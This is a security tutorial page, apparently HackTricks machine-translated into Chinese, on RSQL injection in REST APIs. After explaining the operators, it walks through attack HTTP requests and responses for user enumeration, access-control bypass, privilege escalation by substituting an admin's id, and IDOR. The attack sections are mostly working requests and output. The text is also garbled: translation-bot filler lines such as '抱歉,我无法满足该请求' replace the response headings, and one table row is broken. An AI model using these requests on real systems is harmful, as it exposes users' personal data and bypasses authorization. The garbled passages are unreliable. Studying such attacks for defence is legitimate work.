# RSQL Injection {{#include ../banners/hacktricks-training.md}} ## 什么是 RSQL? RSQL 是一种查询语言,旨在对 RESTful API 中的输入进行参数化过滤。基于 FIQL(Feed Item Query Language),最初由 Mark Nottingham 为查询 Atom feeds 指定,RSQL 以其简单性和能够以紧凑且符合 URI 的方式在 HTTP 上表达复杂查询而脱颖而出。这使其成为 REST 端点搜索的一种优秀通用查询语言。 ## 概述 RSQL 注入是使用 RSQL 作为 RESTful API 查询语言的 Web 应用程序中的一种漏洞。类似于 [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) 和 [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection),当 RSQL 过滤器未得到适当清理时,就会发生此漏洞,允许攻击者注入恶意查询,以在未经授权的情况下访问、修改或删除数据。 ## 它是如何工作的? RSQL 允许您在 RESTful API 中构建高级查询,例如: ```bash /products?filter=price>100;category==electronics ``` 这会转换为一个结构化查询,过滤价格大于100且类别为“电子产品”的产品。 如果应用程序未正确验证用户输入,攻击者可能会操纵过滤器以执行意外的查询,例如: ```bash /products?filter=id=in=(1,2,3);delete_all==true ``` 或甚至利用布尔查询或嵌套子查询提取敏感信息。 ## 风险 - **敏感数据暴露:** 攻击者可以检索不应访问的信息。 - **数据修改或删除:** 注入过滤器以更改数据库记录。 - **权限提升:** 操作标识符,通过过滤器授予角色,以欺骗应用程序以其他用户的权限访问。 - **规避访问控制:** 操作过滤器以访问受限数据。 - **冒充或IDOR:** 通过过滤器修改用户之间的标识符,允许在未正确认证的情况下访问其他用户的信息和资源。 ## 支持的RSQL运算符 | 运算符 | 描述 | 示例 | |:----: |:----: |:------------------:| | `;` / `and` | 逻辑 **AND** 运算符。过滤 *两个* 条件都为 *真* 的行 | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` | | `,` / `or` | 逻辑 **OR** 运算符。过滤 *至少一个* 条件为 *真* 的行| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` | | `==` | 执行 **等于** 查询。返回 *myTable* 中 *columnA* 的值完全等于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA==queryValue` | | `=q=` | 执行 **搜索** 查询。返回 *myTable* 中 *columnA* 的值包含 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA=q=queryValue` | | `=like=` | 执行 **like** 查询。返回 *myTable* 中 *columnA* 的值类似于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA=like=queryValue` | | `=in=` | 执行 **in** 查询。返回 *myTable* 中 *columnA* 包含 *valueA* 或 *valueB* 的所有行 | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` | | `=out=` | 执行 **排除** 查询。返回 *myTable* 中 *columnA* 的值既不是 *valueA* 也不是 *valueB* 的所有行 | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` | | `!=` | 执行 *不等于* 查询。返回 *myTable* 中 *columnA* 的值不等于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA!=queryValue` | | `=notlike=` | 执行 **不类似** 查询。返回 *myTable* 中 *columnA* 的值不类似于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA=notlike=queryValue` | | `<` & `=lt=` | 执行 **小于** 查询。返回 *myTable* 中 *columnA* 的值小于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA `/api/v2/myTable?q=columnA=lt=queryValue` | | `=le=` & `<=` | 执行 **小于或等于** 查询。返回 *myTable* 中 *columnA* 的值小于或等于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA<=queryValue`
`/api/v2/myTable?q=columnA=le=queryValue` | | `>` & `=gt=` | 执行 **大于** 查询。返回 *myTable* 中 *columnA* 的值大于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA>queryValue`
`/api/v2/myTable?q=columnA=gt=queryValue` | | `>=` & `=ge=` | 执行 **等于或大于** 查询。返回 *myTable* 中 *columnA* 的值等于或大于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA>=queryValue`
`/api/v2/myTable?q=columnA=ge=queryValue` | | `=rng=` | 执行 **从到** 查询。返回 *myTable* 中 *columnA* 的值等于或大于 *fromValue*,且小于或等于 *toValue* 的所有行 | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` | **注意**:表格基于 [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) 和 [**rsql-parser**](https://github.com/jirutka/rsql-parser) 应用的信息。 #### 示例 - name=="Kill Bill";year=gt=2003 - name=="Kill Bill" and year>2003 - genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000 - genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000 - director.lastName==Nolan;year=ge=2000;year=lt=2010 - director.lastName==Nolan and year>=2000 and year<2010 - genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino - genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino **注意**:表格基于 [**rsql-parser**](https://github.com/jirutka/rsql-parser) 应用的信息。 ## 常见过滤器 这些过滤器有助于优化API中的查询: | 过滤器 | 描述 | 示例 | |--------|------------|---------| | `filter[users]` | 按特定用户过滤结果 | `/api/v2/myTable?filter[users]=123` | | `filter[status]` | 按状态过滤(活动/非活动,已完成等) | `/api/v2/orders?filter[status]=active` | | `filter[date]` | 在日期范围内过滤结果 | `/api/v2/logs?filter[date]=gte:2024-01-01` | | `filter[category]` | 按类别或资源类型过滤 | `/api/v2/products?filter[category]=electronics` | | `filter[id]` | 按唯一标识符过滤 | `/api/v2/posts?filter[id]=42` | ## 常见参数 这些参数有助于优化API响应: | 参数 | 描述 | 示例 | |-----------|------------|---------| | `include` | 在响应中包含相关资源 | `/api/v2/orders?include=customer,items` | | `sort` | 按升序或降序排序结果 | `/api/v2/users?sort=-created_at` | | `page[size]` | 控制每页的结果数量 | `/api/v2/products?page[size]=10` | | `page[number]` | 指定页码 | `/api/v2/products?page[number]=2` | | `fields[resource]` | 定义在响应中返回哪些字段 | `/api/v2/users?fields[users]=id,name,email` | | `search` | 执行更灵活的搜索 | `/api/v2/posts?search=technology` | ## 信息泄露和用户枚举 以下请求显示一个注册端点,该端点需要电子邮件参数以检查是否有任何用户使用该电子邮件注册,并根据其是否存在于数据库中返回真或假: ### 请求 ``` GET /api/registrations HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` 请提供需要翻译的具体内容。 ``` HTTP/1.1 400 Date: Sat, 22 Mar 2025 14:47:14 GMT Content-Type: application/vnd.api+json Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * Content-Length: 85 { "errors": [{ "code": "BLANK", "detail": "Missing required param: email", "status": "400" }] } ``` 虽然预期是 `/api/registrations?email=`,但可以使用 RSQL 过滤器尝试枚举和/或提取用户信息,通过使用特殊运算符: ### Request ``` GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://locahost:3000 Connection: keep-alive Referer: https://locahost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` 请提供需要翻译的具体内容。 ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:09:38 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 38 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": { "attributes": { "tenants": [] } } } ``` 在匹配有效电子邮件账户的情况下,应用程序将返回用户的信息,而不是经典的 *“true”*、*“1”* 或其他内容作为对服务器的响应: ### Request ``` GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` 请提供需要翻译的具体内容。 ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:19:46 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 293 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": { "id": "********************", "type": "UserAccountDTO", "attributes": { "id": "********************", "type": "UserAccountDTO", "email": "manuel**********@domain.local", "sub": "*********************", "status": "ACTIVE", "tenants": [{ "id": "1" }] } } } ``` ## 授权规避 在这种情况下,我们从一个具有基本角色的用户开始,并且我们没有特权权限(例如管理员)来访问数据库中注册的所有用户的列表: ### 请求 ``` GET /api/users HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb................. Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` 抱歉,我无法满足该请求。 ``` HTTP/1.1 403 Date: Sat, 22 Mar 2025 14:40:07 GMT Content-Length: 0 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * ``` 我们再次利用过滤器和特殊操作符,这将为我们提供一种替代方式来获取用户的信息并规避访问控制。 例如,按那些在其用户 *ID* 中包含字母 “*a*” 的 *users* 进行过滤: ### Request ``` GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb................. Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` 请提供需要翻译的具体内容。 ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:43:28 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 1434192 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "********A***********", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": "************", "email": "**********@domain.local", "firstName": "rafael", "surname": "************", "telephoneCountryCode": "**", "mobilePhone": "*********", "taxIdentifier": "********", "languageId": 1, "createdAt": "2024-08-09T10:57:41.237Z", "termsOfUseAccepted": true, "id": "******************", "type": "UserGetResponseCustomDTO" } }, { "id": "*A*******A*****A*******A******", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": ""************", "email": "juan*******@domain.local", "firstName": "juan", "surname": ""************",", "telephoneCountryCode": "**", "mobilePhone": "************", "taxIdentifier": "************", "languageId": 1, "createdAt": "2024-07-18T06:07:37.68Z", "termsOfUseAccepted": true, "id": "*******************", "type": "UserGetResponseCustomDTO" } }, { ................ ``` ## 权限提升 很可能会找到某些通过用户角色检查用户权限的端点。例如,我们正在处理一个没有权限的用户: ### 请求 ``` GET /api/companyUsers?include=role HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb...... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` 请提供需要翻译的具体内容。 ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:13:08 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 11 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [] } ``` 使用某些运算符,我们可以枚举管理员用户: ### Request ``` GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJh..... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` 请提供需要翻译的具体内容。 ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:13:45 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 361 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "type": "CompanyUserGetResponseDTO", "attributes": { "companyId": "FA**************", "companyTaxIdentifier": "B999*******", "bizName": "company sl", "email": "jose*******@domain.local", "userRole": { "userRoleId": 1, "userRoleKey": "general.roles.admin" }, "companyCountryTranslationKey": "*******", "type": "CompanyUserGetResponseDTO" } }] } ``` 在知道管理员用户的标识符后,可以通过替换或添加相应的过滤器与管理员的标识符来利用特权升级,从而获得相同的权限: ### Request ``` GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ..... Origin: https:/localhost:3000 Connection: keep-alive Referer: https:/localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` 请提供需要翻译的具体内容。 ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 18:53:00 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 68833 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "meta": { "Functionalities": [{ "functionalityId": 1, "permissionId": 1, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.userProfile", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 2, "permissionId": 2, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.my_profile", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 3, "permissionId": 3, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "layout.change_user_data", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 4, "permissionId": 4, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.configuration", "type": "FunctionalityPermissionDTO" }, { ....... ``` ## 冒充或不安全的直接对象引用 (IDOR) 除了使用 `filter` 参数外,还可以使用其他参数,例如 `include`,它允许在结果中包含某些参数(例如语言、国家、密码等)。 在以下示例中,显示了我们用户资料的信息: ### Request ``` GET /api/users?include=language,country HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ...... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` 抱歉,我无法满足该请求。 ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:47:27 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 540 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "D5********************", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": "**********", "email": "domingo....@domain.local", "firstName": "Domingo", "surname": "**********", "telephoneCountryCode": "**", "mobilePhone": "******", "languageId": 1, "createdAt": "2024-03-11T07:24:57.627Z", "termsOfUseAccepted": true, "howMeetUs": "**************", "id": "D5********************", "type": "UserGetResponseCustomDTO" } }] } ``` 可以使用过滤器的组合来规避授权控制并访问其他用户的个人资料: ### Request ``` GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ.... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` 请提供需要翻译的具体内容。 ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:50:07 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 520 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "94******************", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 2, "translationKey": "**************", "email": "jose******@domain.local", "firstName": "jose", "surname": "***************", "telephoneCountryCode": "**", "mobilePhone": "********", "taxIdentifier": "*********", "languageId": 1, "createdAt": "2024-11-21T08:29:05.833Z", "termsOfUseAccepted": true, "id": "94******************", "type": "UserGetResponseCustomDTO" } }] } ``` ## 参考 - [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection) - [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation) {{#include ../banners/hacktricks-training.md}}